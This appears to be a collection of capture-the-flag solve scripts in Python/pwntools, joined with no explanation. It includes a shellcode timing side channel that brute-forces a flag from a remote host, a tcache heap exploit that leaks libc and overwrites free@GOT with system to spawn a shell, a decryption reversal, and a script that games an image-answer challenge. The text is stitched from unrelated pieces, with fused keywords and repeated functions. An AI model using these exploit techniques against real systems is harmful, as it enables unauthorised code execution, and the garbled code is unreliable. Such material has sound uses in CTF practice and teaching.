defedit(length, payload): p.sendlineafter(b'Your choice:', b'3') p.sendlineafter(b'How many characters do you want to change:', str(length).encode()) p.send(payload)
for i, c inenumerate(shellcode1): # if c >= 0b10000000: # log.info("bad byte %s at index %d" % (hex(c), i)) # log.error(shellcode1) if i & 1 != c & 1: log.info("bad byte %s at index %d" % (hex(c), i)) log.error(shellcode1) if c & 1 == 1and c > 0x80: log.info("negative byte %s at index %d" % (hex(c), i)) log.error(shellcode1)
# we need brute force every byte of flag # the seach space is 0x20 ~ 0x7e search_space = [i for i inrange(0x20, 0x7e)]
flag_probable_len = 0x40 flag = '' for i inrange(flag_probable_len): for ch in search_space: # p = process(binary.path) p = remote('111.186.57.85',40245) p.recvuntil(b'Please input your shellcode: \n') ### stage1: call a read syscall to read shellcode p.send(shellcode1) ### stage2: fuck yeah! we can send shellcode without limitation now # but we have no write # so we have to use ways like side channel shellcode2 = asm(f''' lea rdi, [rip+flag] mov rsi, 0 mov rax, 2 syscall mov rdi, rax mov rsi, rsp mov rdx, 0x100 mov rax, 0 syscall loop: xor rax, rax xor rbx, rbx mov al, byte ptr[rsp+{i}] mov bl, {ch} cmp al, bl je loop flag: .string "./flag" ''') shellcode2 += b'\x90' * (0x200 - len(shellcode2)) p.send(shellcode2) # learned from changcheng cup... p.shutdown('send')
# now if ch is the right byte, the program will be in a dead loop # otherwise the program will die sleep(1) # if p.poll() == None: # flag += chr(ch) # print("flag is now: ", flag) # p.close() # break # else: # p.close() # continue try: detection = p.fileno() p.recv(timeout=0.1) flag += chr(ch) print("flag is now: ", flag) p.close() break except: p.close() continue
# we will use this to get libc leak and control free_got malloc(0,0x500, b'a') malloc(1,0x20,b'/bin/sh\x00') free(0)
# 2 is used to get control of tcache malloc(2,0x90, b'b') # 3 is used to make a tcache bin malloc(3,0x330, b'c') free(3) gdb.attach(p) edit(2,p64(heap_manager)*(0x90//8)) # now tcace bin is # 0x340 [ 1]: 0x4060b0 ◂— 0x0 # 0x350 [ 0]: 0x4060b0 ◂— ... payload=p64(0x1000)+p32(free_got) # now we control the heap_manager # we make index 0 's size 0x1000 # and we make index 1 's pointer to free_got malloc(3,0x330,payload) # this will puts what is on the free_got response = puts(0) libc_leak = response[-6:].ljust(8, b'\x00') libc.address = u64(libc_leak) - libc.sym['free'] info(f'[LEAK&CALC]: libc_base: {hex(libc.address)}') system = libc.sym['system'] # we overwrite free_got with system edit_0_end(0,p64(system)) # 1's pointer point to /bin/sh free(1) p.interactive()
v25 = p64(0xA39C3E6994313F40) + p64(0x17872470565B9B60) + p64(0x11A918AABA97CA68) + p64(0xB8F1B0AB9B3DD3B0) + p64(0x488749FB6A1835E4) + p64(0x82926F78FE98158) ct = p64(0xe3de41c1f389569c) + p64(0x3500a2b1a46c9bd1) + p64(0x890a29f3d010d481) + p64(0x200f1fca08a04513) + p64(0xc3ab5b0381564f00) + p64(0x08953b09bbf7fdc7) # tmp1 is the bytearray after xored tmp1 = bytearray() # each byte in tmp is the result of ct[i] - v25[i] for i inrange(48): if ct[i] < v25[i]: tmp1.append(ct[i] + 256 - v25[i]) else: tmp1.append(ct[i] - v25[i]) # tmp1 is the bytearray before xored with 0x28 for i inrange(48): tmp1[i] ^= 0x28 print(tmp1)
defreverse(cypher): # group cypher into 8 bytes cypher = [cypher[i:i+8] for i inrange(0, len(cypher), 8)] # for each group, we decrypt it for i inrange(len(cypher)): # swap BYTE3 and BYTE4 tmp = cypher[i][3] cypher[i][3] = cypher[i][4] cypher[i][4] = tmp for j inrange(8): cypher[i][j] += j + i*8 # swap BYTE2 and BYTE6 tmp = cypher[i][2] cypher[i][2] = cypher[i][6] cypher[i][6] = tmp # swap BYTE1 and BYTE7 tmp = cypher[i][1] cypher[i][1] = cypher[i][7] cypher[i][7] = tmp # swap BYTE0 and BYTE5 tmp = cypher[i][0] cypher[i][0] = cypher[i][5] cypher[i][5] = tmp
# get the result result = b'' for i inrange(len(cypher)): result += bytes(cypher[i]) print(result)
defsolve_pow(challenge, difficulty=4, timeout=0.5): start_time = time.time() whileTrue: for solution in (f"{i:0{difficulty}x}"for i inrange(16 ** difficulty)): if verify_pow_solution(challenge, solution): return solution if time.time() - start_time >= timeout: returnNone defsave_image(): count = 0 for i inrange(20): p.recvuntil(b'Is this picture real or not (Y/N)? \n') b64_image = p.recvuntil(b'\n', drop=True) # compared with the local images using b64, if the image is not in the local images, save it # using a uuid as the filename # if folder is empty, save the image directly ifnot os.listdir('images'): withopen(f'images/{uuid.uuid4()}.png', 'wb') as f: f.write(base64.b64decode(b64_image)) count += 1 else: save_flag = True for filename in os.listdir('images'): withopen(f'images/{filename}', 'rb') as f: if base64.b64encode(f.read()).decode() == b64_image.decode(): save_flag = False break if save_flag: withopen(f'images/{uuid.uuid4()}.png', 'wb') as f: f.write(base64.b64decode(b64_image)) count += 1
defsolve_pow(challenge, difficulty=4, timeout=0.5): start_time = time.time() whileTrue: for solution in (f"{i:0{difficulty}x}"for i inrange(16 ** difficulty)): if verify_pow_solution(challenge, solution): return solution if time.time() - start_time >= timeout: returnNone defeval_image(): for _ inrange(20): p.recvuntil(b'Is this picture real or not (Y/N)? \n') b64_image = p.recvuntil(b'\n', drop=True) for filename in os.listdir('images_model'): withopen(f'images_model/{filename}', 'rb') as f: if base64.b64encode(f.read()).decode() == b64_image.decode(): correct_answer = filename[-5].upper() file_list.append(filename) if correct_answer != 'Y'and correct_answer != 'N': correct_answer = 'N' correct_answers.append(correct_answer) break
p.recvuntil(b" all 20 rounds (Y/N): ") data = ''.join(correct_answers) info(data) p.sendline(data.encode())
whileTrue: correct_answers = [] file_list = [] p = remote('instance.penguin.0ops.sjtu.cn', 18081) p.send(b'CONNECT gmvfevkv2k6p982q:1 HTTP/1.1\r\n\r\n') p.recvuntil(b"solution + '") challenge = p.recvuntil(b"'", drop=True).decode() info(f"challenge: {challenge}") # p.interactive() solution = solve_pow(challenge) if solution isNone: p.close() continue info(f"solution: {solution}") p.sendline(solution.encode()) eval_image() try: response = p.recvuntil(b"Incorrect answer for Round ", timeout=0.3) wrong_round = p.recvuntil(b".", drop=True) info(f"wrong_round: {wrong_round}") wrong_round = int(wrong_round) wrong_filename = file_list[wrong_round - 1] # change the filename to the right answer(opposite of original answer) # modify the filename to the right answer correct_answer = correct_answers[wrong_round - 1] if correct_answer == 'Y': correct_answer = 'N' else: correct_answer = 'Y' right_filename = wrong_filename[:-5] + correct_answer + '.png' # append the wrong filename to log.txt withopen('log.txt', 'a') as f: f.write(f'{wrong_filename}\n') os.rename(f'images_model/{wrong_filename}', f'images_model/{right_filename}') p.close() continue except: break
defsolve_pow(challenge, difficulty=5, timeout=3): start_time = time.time() whileTrue: for solution in (f"{i:0{difficulty}x}"for i inrange(16 ** difficulty)): if verify_pow_solution(challenge, solution): return solution if time.time() - start_time >= timeout: returnNone defeval_image(): for _ inrange(20): p.recvuntil(b'Is this picture real or not (Y/N)? \n') b64_image = p.recvuntil(b'\n', drop=True) for filename in os.listdir('images_model'): withopen(f'images_model/{filename}', 'rb') as f: if base64.b64encode(f.read()).decode() == b64_image.decode(): correct_answer = filename[-5].upper() file_list.append(filename) if correct_answer != 'Y'and correct_answer != 'N': correct_answer = 'N' correct_answers.append(correct_answer) break
p.recvuntil(b" all 20 rounds (Y/N): ") data = ''.join(correct_answers) info(data) p.sendline(data.encode())